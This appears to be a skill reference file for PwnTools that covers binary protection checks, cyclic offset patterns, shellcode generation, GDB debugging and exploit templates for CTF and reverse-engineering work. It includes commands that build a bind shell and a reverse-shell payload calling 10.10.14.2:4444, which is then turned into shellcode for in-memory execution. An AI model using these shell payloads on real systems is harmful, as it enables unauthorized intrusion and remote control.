PwnTools Binary Exploitation Helper

A skill for working with PwnTools in binary exploitation, reverse engineering, and CTF challenges.

Quick Start

pip3 install pwntools

Common Workflows

1. Binary Analysis with Checksec

Analyze binary protections before exploitation:

pwn checksec <executable>

This shows NX, PIE, Stack Canary, RELRO, and other protections.

2. Generate Cyclic Patterns for Buffer Overflows

Create unique patterns to find offsets in buffer overflows:

# Generate 3000-byte pattern
pwn cyclic 3000

# Find offset from pattern fragment
pwn cyclic -l faad

Options:

• Alphabet: lowercase chars by default
• Pattern length: default 4
• Context: 16, 32, 64-bit, linux, windows

3. Assembly and Shellcode Generation

Get opcodes from assembly:

pwn asm "jmp esp"
pwn asm -i <filepath>

Generate shellcode:

# List available shellcodes
pwn shellcraft -l

# List shellcodes matching pattern
pwn shellcraft -l amd

# Generate shellcode in C format
pwn shellcraft -f hex amd64.linux.sh

# Run shellcode to test
pwn shellcraft -r amd64.linux.sh

# Create bind shell on specific port
pwn shellcraft .r amd64.linux.bindsh 9095

Shellcode options:

• Avoid bytes: null, newlines, or custom list
• Debug: attach GDB to shellcode
• Output format: hex, string, C, ELF
• Generate as shared library

4. Debug with GDB

Attach GDB to processes:

# By executable
pwn debug --exec /bin/bash

# By PID
pwn debug --pid 1234

# By process name
pwn debug --process bash

Options:

• Context: 16, 32, 64-bit, linux, windows
• GDB script to execute
• Sysroot path

5. Disassemble and Hex Operations

Disassemble opcodes:

pwn disasm ffe4

Convert to/from hex:

# String to hex
pwn hex hola

# Hex to string
pwn unhex 686f6c61

Hexdump files:

pwn phd <file>

6. ELF to Shellcode Conversion (loader_append)

Convert a standalone ELF into raw shellcode that self-maps its segments. Ideal for memory-only loaders (e.g., Android JNI execution).

Workflow:

1. Build a static, position-independent payload ELF:

musl-gcc -O3 -s -static -o exploit exploit.c \
  -DREV_SHELL_IP="10.10.14.2" -DREV_SHELL_PORT="4444"

2. Convert ELF to shellcode using the bundled script:

python scripts/elf_to_shellcode.py ./exploit sc

3. Deliver shellcode to memory loader and execute in-process.

Notes:

• loader_append

  embeds the ELF and emits a loader that mmaps segments
• Be explicit about architecture (amd64, arm64, etc.)
• Keep payload position-independent
• Avoid assumptions about ASLR/NX

7. Generate Exploit Template

Create a Python template for remote/local exploitation:

pwn template

Options:

• Host, port, user, password
• Path to binary
• Quiet mode

8. Additional Utilities

Disable NX on binary:

pwn disablenx <filepath>

Compare ELF files:

pwn elfdiff <file1> <file2>

Update PwnTools:

pwn update

Best Practices

1. Always check protections first - Use

   checksec

   before planning exploitation
2. Use cyclic patterns - For reliable offset discovery in buffer overflows
3. Test shellcode locally - Use

   pwn shellcraft -r

   before deployment
4. Be explicit about architecture - Set context with

   context.clear(arch='amd64')

5. Keep shellcode position-independent - Avoid hardcoded addresses
6. Avoid bad bytes - Filter nulls, newlines, and other problematic bytes

Context Settings

Always set the appropriate context for your target:

from pwn import *
context.clear(arch='amd64', os='linux')  # or 'windows'
context.bits = 64
context.word_size = 8

References

• Pwntools Documentation
• CoRPhone – ELF→shellcode pipeline for Android